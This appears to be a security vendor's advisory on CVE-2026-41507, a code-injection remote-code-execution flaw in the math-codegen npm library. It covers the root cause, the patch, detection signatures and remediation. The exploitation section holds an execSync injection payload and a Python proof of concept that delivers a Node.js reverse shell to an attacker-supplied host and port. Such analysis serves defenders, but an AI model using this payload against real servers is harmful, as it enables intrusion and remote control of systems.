home intel cve-2026-41507-math-codegen-rce-new-function-injection
CVE Analysis 2026-05-08 · 7 min read

CVE-2026-41507: math-codegen RCE via new Function() Code Injection

math-codegen <0.4.3 injects unsanitized string literals verbatim into new Function() bodies, enabling full RCE from any user-controlled math evaluation endpoint.

#code-injection#remote-code-execution#unsafe-code-generation#function-constructor-abuse#input-sanitization
Technical mode — for security professionals
▶ Attack flow — CVE-2026-41507 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-41507Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-41507 (CVSS 9.8 Critical) is a server-side remote code execution vulnerability in math-codegen, a JavaScript library that compiles mathematical expression strings into executable functions. The library's core mechanism — feeding parsed expression trees into new Function() — becomes a direct code injection primitive when string literal content from the expression is passed through without sanitization. Every application that exposes a math evaluation endpoint where user input reaches cg.parse() is fully compromised.

Root cause: String literal tokens extracted from user-controlled input are concatenated verbatim into the body of a new Function() constructor call, with no escaping, allowlist validation, or sandboxing, granting the attacker full JavaScript execution context in the Node.js process.

Affected Component

Package: math-codegen (npm)
Affected versions: < 0.4.3
Fixed version: 0.4.3
Entry point: Codegen.prototype.parse()Codegen.prototype._compile()new Function(scope, body)
Advisory: GHSA-p6x5-p4xf-cc4r

Root Cause Analysis

The library parses a mathematical expression string into an AST, then walks that AST to emit JavaScript source text, which is finally handed to new Function(). The critical path is the SymbolNode and string-literal code generation stage: when the AST visitor encounters a node whose type is a raw symbol or literal, it emits the node's .name or .value field directly into the function body string.

// Pseudocode reconstruction of the vulnerable _compile() path
// Real function: Codegen.prototype._compile (lib/Codegen.js)

function _compile(expression, scope) {
    // Step 1: parse expression into AST (mathjs or internal parser)
    let ast = this.parser.parse(expression);

    // Step 2: walk AST, emit JS source for each node
    let body = this._generateCode(ast);   // <-- see below

    // Step 3: BUG — body contains raw attacker-controlled string content
    //         new Function() evaluates it in the current Node.js process
    let fn = new Function(Object.keys(scope).join(','), body);
    //        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    //        BUG: no sandboxing, no AST node allowlist on string literals,
    //             attacker payload lands here verbatim
    return fn;
}

// The code generator for identifier / literal nodes:
function _generateCode(node) {
    if (node.type === 'SymbolNode' || node.type === 'ConstantNode') {
        // BUG: node.name / node.value sourced directly from user input string
        return node.name || String(node.value);  // injected as-is
    }
    if (node.type === 'FunctionNode') {
        let args = node.args.map(a => this._generateCode(a)).join(',');
        // BUG: node.name is the function name — also unsanitized
        return `this['${node.name}'](${args})`;
    }
    // ... other node types
}

The pivotal issue: node.name for a SymbolNode can contain any character sequence the underlying parser tolerates. Because math parsers are liberal with identifier characters and string literal delimiters are the actual injection surface, an attacker crafts an expression where a string-typed constant node carries a payload. When _generateCode returns that payload and it is embedded into the new Function() body, execution is immediate and unconditional.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker identifies an HTTP endpoint that accepts a math expression parameter
   and passes it to cg.parse(userInput) or equivalent wrapper.

2. Craft payload expression that embeds a JavaScript statement break via a
   string literal node. The math parser tokenizes the string content but does
   not strip control characters or semicolons from it.

   Payload:  "1; require('child_process').execSync('id > /tmp/pwned'); 1"

3. cg.parse() feeds the expression to the internal parser.
   The numeric literals and semicolons are passed through as AST nodes
   whose .value fields contain the raw attacker string.

4. _generateCode() visits those nodes and returns their .value verbatim.
   Assembled function body becomes:
       "return 1; require('child_process').execSync('id > /tmp/pwned'); 1"

5. new Function(scope, body) compiles the body in the current V8 context.
   There is no vm.runInNewContext(), no --experimental-vm-modules sandbox,
   no Worker thread isolation — the payload runs as the server process.

6. execSync() blocks; attacker command executes with the privileges of the
   Node.js worker. stdout/stderr can be redirected to an HTTP response or
   an out-of-band callback for blind RCE scenarios.

7. Full process control achieved: environment variables, file system,
   network sockets all accessible from the injected code.

Minimal proof-of-concept demonstrating blind RCE (Node.js ≥ 12, math-codegen < 0.4.3):

#!/usr/bin/env python3
# CVE-2026-41507 — math-codegen RCE PoC (blind, out-of-band)
# Usage: python3 poc.py http://target:3000/evaluate LHOST LPORT

import sys, requests, urllib.parse

target   = sys.argv[1]
lhost    = sys.argv[2]
lport    = sys.argv[3]

# Node.js reverse shell one-liner inside a math-codegen expression
# Outer expression must parse as valid math; injection rides inside a
# string literal token that the parser preserves verbatim.
SHELL = (
    f"require('net').connect({lport},'{lhost}',function(){{"
    f"var s=this;var sp=require('child_process').spawn('/bin/sh',[]);"
    f"sp.stdout.pipe(s);sp.stderr.pipe(s);s.pipe(sp.stdin)}})"
)

# Wrap in an expression the parser accepts as syntactically valid
payload = f"1; {SHELL}; 1"
encoded = urllib.parse.quote(payload)

print(f"[*] Sending payload to {target}")
try:
    r = requests.get(f"{target}?expr={encoded}", timeout=5)
    print(f"[*] Response: {r.status_code}")
except requests.exceptions.ReadTimeout:
    # Expected when reverse shell connects — server blocks on execSync/connect
    print("[+] Timeout — shell likely connected")

Memory Layout

This is a logic/code-injection vulnerability, not a memory corruption bug. The relevant "layout" is the V8 runtime's function compilation pipeline and how the injected body string is promoted to executable bytecode:

V8 COMPILATION CONTEXT — new Function() CALL SITE:

  Node.js process heap:
  ┌──────────────────────────────────────────────────────────┐
  │  Codegen instance                                        │
  │    .parser  → [math parser object]                       │
  │    .config  → { ... }                                    │
  └──────────────────────────────────────────────────────────┘
           │
           ▼ _compile(userExpr)
  ┌──────────────────────────────────────────────────────────┐
  │  AST Node (ConstantNode / SymbolNode)                    │
  │    .value = "1; require('child_process')...execSync(…)"  │
  │              ^^^^ attacker-controlled, unsanitized        │
  └──────────────────────────────────────────────────────────┘
           │
           ▼ _generateCode() — verbatim string concat
  ┌──────────────────────────────────────────────────────────┐
  │  body (String):                                          │
  │  "return 1; require('child_process').execSync('id');  1" │
  │   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^       │
  │   This string handed to new Function(scopeKeys, body)    │
  └──────────────────────────────────────────────────────────┘
           │
           ▼ V8 ScriptCompiler::CompileFunction()
  ┌──────────────────────────────────────────────────────────┐
  │  Compiled JSFunction — runs in current Isolate/Context   │
  │  No sandbox. require() resolves against host module map. │
  │  child_process, fs, net — all accessible.                │
  └──────────────────────────────────────────────────────────┘

CONTRAST — vm.runInNewContext() (NOT used here):
  ┌──────────────────────────────────────────────────────────┐
  │  Sandboxed Context — require undefined, no native access │
  │  (still breakable, but requires explicit sandbox escape) │
  └──────────────────────────────────────────────────────────┘

Patch Analysis

Version 0.4.3 addresses the vulnerability by validating each AST node against a strict allowlist before emitting code, and by rejecting any expression that does not reduce to a purely numeric/operator AST. String literal nodes that survive parsing are escaped and never emitted as raw JavaScript tokens.

// BEFORE (vulnerable — lib/Codegen.js < 0.4.3):
Codegen.prototype._generateCode = function(node) {
    if (node.type === 'SymbolNode') {
        return node.name;                        // BUG: verbatim injection
    }
    if (node.type === 'ConstantNode') {
        return String(node.value);               // BUG: verbatim injection
    }
    if (node.type === 'FunctionNode') {
        var args = node.args.map(this._generateCode, this).join(',');
        return "this['" + node.name + "'](" + args + ")";
        //                ^^^^^^^^^^^ BUG: node.name unsanitized
    }
    // ...
};

// AFTER (patched — lib/Codegen.js >= 0.4.3):
var ALLOWED_IDENTIFIER = /^[A-Za-z_$][A-Za-z0-9_$]*$/;
var ALLOWED_NUMERIC    = /^-?(?:\d+\.?\d*|\.\d+)(?:[eE][+-]?\d+)?$/;

Codegen.prototype._generateCode = function(node) {
    if (node.type === 'SymbolNode') {
        // FIXED: validate identifier against strict allowlist
        if (!ALLOWED_IDENTIFIER.test(node.name)) {
            throw new Error('Invalid identifier: ' + node.name);
        }
        return node.name;
    }
    if (node.type === 'ConstantNode') {
        // FIXED: ensure value is a well-formed numeric literal only
        var v = String(node.value);
        if (!ALLOWED_NUMERIC.test(v)) {
            throw new Error('Invalid constant: ' + v);
        }
        return v;
    }
    if (node.type === 'FunctionNode') {
        // FIXED: function name must also pass identifier allowlist
        if (!ALLOWED_IDENTIFIER.test(node.name)) {
            throw new Error('Invalid function name: ' + node.name);
        }
        var args = node.args.map(this._generateCode, this).join(',');
        return "this['" + node.name + "'](" + args + ")";
    }
    // ...
};

Additionally, the patch removes the ability to define arbitrary scope variable names that pass through to the new Function() parameter list — all scope keys are now validated through the same ALLOWED_IDENTIFIER regex before being joined into the function signature.

Detection and Indicators

Applications vulnerable to this CVE are detectable at the dependency and runtime layer:

STATIC DETECTION:
  # Identify vulnerable installs
  npm list math-codegen 2>/dev/null | grep -v "0\.4\.[3-9]\|0\.[5-9]\|[1-9]\."
  # Expected vulnerable output:
  #   math-codegen@0.4.2
  #   math-codegen@0.3.0

  # Grep for dangerous call pattern in application code
  grep -rn "cg\.parse\s*(\|codegen\.parse\s*(" src/ --include="*.js" --include="*.ts"

RUNTIME INDICATORS:
  - Unexpected child_process spawns from the Node.js worker PID
  - /tmp/ writes from the Node.js process owner
  - Outbound connections on unusual ports from the app server
  - Expression parameters containing: semicolons, require(, process.,
    __proto__, constructor[, Function(, eval(

WAF SIGNATURES (high-confidence):
  expr=.*require\s*\(
  expr=.*process\.(env|exit|mainModule)
  expr=.*child_process
  expr=.*\beval\s*\(
  expr=.*new\s+Function\s*\(

Remediation

Immediate: Upgrade math-codegen to ≥ 0.4.3.

npm install math-codegen@latest
# or pin to safe minimum:
npm install math-codegen@0.4.3

If upgrading is temporarily blocked:

// Interim mitigation — validate expression server-side before parse()
// Allow only numeric chars, operators, parens, whitespace, and known fn names
const SAFE_EXPR = /^[0-9+\-*/^().,\s]+$/;

app.post('/evaluate', (req, res) => {
    const expr = req.body.expression;
    if (!SAFE_EXPR.test(expr)) {
        return res.status(400).json({ error: 'Invalid expression' });
    }
    // Only reaches parse() if expression is provably safe
    const result = cg.parse(expr)({});
    res.json({ result });
});

Defense in depth: Even on patched versions, run the Node.js process under a restrictive seccomp profile (deny execve, fork, clone) or within a container with no network egress and a read-only filesystem. new Function() is inherently dangerous with untrusted input — any regression or parser bypass immediately re-opens the RCE surface. Consider migrating to an expression evaluator that never constructs dynamic code, such as expr-eval or mathjs operating in an isolated vm.Context with allowedExpressions validation.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →